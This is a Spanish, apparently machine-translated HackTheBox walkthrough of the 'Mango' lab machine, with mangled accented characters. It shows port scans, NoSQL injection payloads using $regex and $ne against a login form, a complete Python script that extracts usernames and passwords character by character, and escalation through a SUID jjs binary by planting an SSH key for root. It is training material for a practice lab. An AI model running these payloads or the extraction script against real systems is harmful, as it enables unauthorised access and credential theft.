HackTheBox. Tutorial Mango. Inyecci贸n NoSQL y LPE a trav茅s de JJS

imagen

Sigo publicando soluciones enviadas para su posterior procesamiento desde el sitio de HackTheBox .

En este art铆culo, aprovechamos la inyecci贸n NoSQL en forma de autorizaci贸n, y tambi茅n aumentamos los privilegios a trav茅s de JJS.

La conexi贸n al laboratorio es a trav茅s de VPN. Se recomienda no conectarse desde una computadora de trabajo o desde un host donde los datos que son importantes para usted est茅n disponibles, ya que termina en una red privada con personas que saben algo en el campo de la seguridad de la informaci贸n :)

Informaci贸n organizacional
, , Telegram . , , .

. , - , .

Recon


Esta m谩quina tiene una direcci贸n IP 10.10.10.162, que agrego a / etc / hosts.

10.10.10.162    mango.htb

Primero, escaneamos puertos abiertos. Como lleva mucho tiempo escanear todos los puertos con nmap, primero har茅 esto con masscan. Escaneamos todos los puertos TCP y UDP desde la interfaz tun0 a una velocidad de 1000 paquetes por segundo.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.162  --rate=1000

imagen

Ahora, para obtener informaci贸n m谩s detallada sobre los servicios que operan en los puertos, realizaremos un an谩lisis con la opci贸n -A.

nmap -A mango.htb -p22,80,443

imagen

En primer lugar, veamos el sitio. Al acceder a mango.htb, nos lanzan de http a https y hablan sobre un problema con el certificado. Si acepta los riesgos, puede ver esta p谩gina.

imagen

Pero nada m谩s interesante. La exploraci贸n de nmap muestra informaci贸n de SSL SSL donde se especifica el dominio. Agr茅guelo a / etc / hosts.
10.10.10.162 staging-order.mango.htb
Y vamos a ver qu茅 hay all铆.

imagen

Hay un formulario de autorizaci贸n, un posible punto de entrada.

Punto de entrada


Intentamos varias t茅cnicas de inyecci贸n para evitar la autorizaci贸n. Y encontramos la inyecci贸n est谩ndar de NoSql comparando la reacci贸n con dos condiciones: el inicio de sesi贸n es 123, la contrase帽a es 123 y el inicio de sesi贸n no es 123, la contrase帽a no es 123.

imagen

Y despu茅s del resultado verdadero exitoso de la segunda condici贸n, obtenemos una redirecci贸n a home.php. Por lo tanto, la inyecci贸n de NoSql es posible.

imagen

Como no hay nada interesante en la p谩gina, lo 煤nico que podemos sacar de esta vulnerabilidad son los inicios de sesi贸n y las contrase帽as.

USUARIO


Veamos las longitudes de los nombres de usuario y contrase帽as m谩ximos. Para hacer esto, puede usar las siguientes construcciones:
login [$ regex] =. {Length} & password [$ ne] = 123 - para el inicio de sesi贸n (se realiza una comparaci贸n de expresiones regulares para el inicio de sesi贸n y la contrase帽a no es v谩lida);
iniciar sesi贸n [$ ne] = 123; contrase帽a [$ regex] =. {longitud} para la contrase帽a.

Hag谩moslo con eructo intruso.

imagen

imagen

imagen

Por lo tanto, la longitud del inicio de sesi贸n m谩s largo es de 5 caracteres. Despu茅s de haber realizado las mismas operaciones para la contrase帽a, descubrimos que la longitud de la m谩s larga es de 16 caracteres.

imagen

Como es demasiado largo para resolverlo con sus manos, escribiremos un script de Python. Primero, haremos una sesi贸n de trabajo.

import string
import requests

alfa = string.printable 
URL = 'http://staging-order.mango.htb'

r = requests.session()
ans = r.get(URL)
r.headers = {"Content-Type":"application/x-www-form-urlencoded"}

logins = []


A continuaci贸n, implementamos una funci贸n para enumerar inicios de sesi贸n. La iteraci贸n se realizar谩 utilizando la siguiente expresi贸n regular ^ nombre. * - de esta manera estiraremos un car谩cter a la vez.

def logins_find(login):
    is_find = False
    for char in alfa[:62]:
        data = "username[$regex]=^%s%s.*&password[$ne]=123&login=login" % (login, char)
        resp = r.post(URL, data=data)
        print('login: %s ' % (login+char), end='\r') 
        if len(resp.history):
            is_find = True
            logins_find(login+char)
    if not is_find:
        print('login found: %s ' % (login))
        logins.append(login)


Y una funci贸n similar, solo usando el inicio de sesi贸n encontrado.

def passwords_find(login, password):
    is_find = False
    for char in alfa:
        if char in ['*','+','.','?','|', '#', '&', '$', '\\']:
            char = '\\' + char
        data = "username=%s&password[$regex]=^%s%s.*&login=login" % (login, password, char)
        resp = r.post(URL, data=data)
        print("password for %s: %s " % (login, (password+char).replace('\\', '')), end = '\r')
        if len(resp.history):
            is_find = True
            passwords_find(login, password+char)
    if not is_find:
        print("[+] password for %s: %s " % (login, (password+char).replace('\\', '')))


C脫DIGO COMPLETO:

#!/usr/bin/python3

import string
import requests

alfa = string.printable[:-6]
URL = 'http://staging-order.mango.htb'

r = requests.session()
ans = r.get(URL)
r.headers = {"Content-Type":"application/x-www-form-urlencoded"}

logins = []

def logins_find(login):
    is_find = False
    for char in alfa[:62]:
        data = "username[$regex]=^%s%s.*&password[$ne]=123&login=login" % (login, char)
        resp = r.post(URL, data=data)
        print('login: %s ' % (login+char), end='\r') 
        if len(resp.history):
            is_find = True
            logins_find(login+char)
    if not is_find:
        print('login found: %s ' % (login))
        logins.append(login)

def passwords_find(login, password):
    is_find = False
    for char in alfa:
        if char in ['*','+','.','?','|', '#', '&', '$', '\\']:
            char = '\\' + char
        data = "username=%s&password[$regex]=^%s%s.*&login=login" % (login, password, char)
        resp = r.post(URL, data=data)
        print("password for %s: %s " % (login, (password+char).replace('\\', '')), end = '\r')
        if len(resp.history):
            is_find = True
            passwords_find(login, password+char)
    if not is_find:
        print("[+] password for %s: %s " % (login, (password+char).replace('\\', '')))
   
print("SEARCH logins:") 
logins_find("")

print("\nSEARCH passwords:") 
[ passwords_find(login, "") for login in logins ]


Y, como resultado, encontramos las credenciales de dos usuarios.

imagen

Nos conectamos con 茅xito a las credenciales a trav茅s de SSH.

imagen

Tenemos una contrase帽a del segundo usuario, pero no permite iniciar sesi贸n a trav茅s de SSH. Estamos tratando de cambiar localmente al usuario ingresando la contrase帽a que conocemos.

imagen

RA脥Z


Realicemos la enumeraci贸n b谩sica utilizando el script LinEnum .

imagen

Y encontramos el programa con el conjunto S-bit.

imagen

Comprobando JJS por ejemplo GTFOBins .

imagen

Tambi茅n hay ejemplos de operaci贸n. Llamar a shell local no funcion贸. Pero puede generar claves ssh, escribir public en /root/.ssh/authorized_keys y conectarse usando private.

imagen

Vamos a contar la clave p煤blica.

imagen

Y ahora escr铆belo.

imagen

Y ahora con茅ctate como root.

imagen

Puedes unirte a nosotros en Telegram. All铆 puede encontrar materiales interesantes, cursos combinados, as铆 como software. Formemos una comunidad en la que haya personas con conocimientos en muchas 谩reas de TI, para que siempre podamos ayudarnos mutuamente en cualquier problema de seguridad de la informaci贸n y TI.

All Articles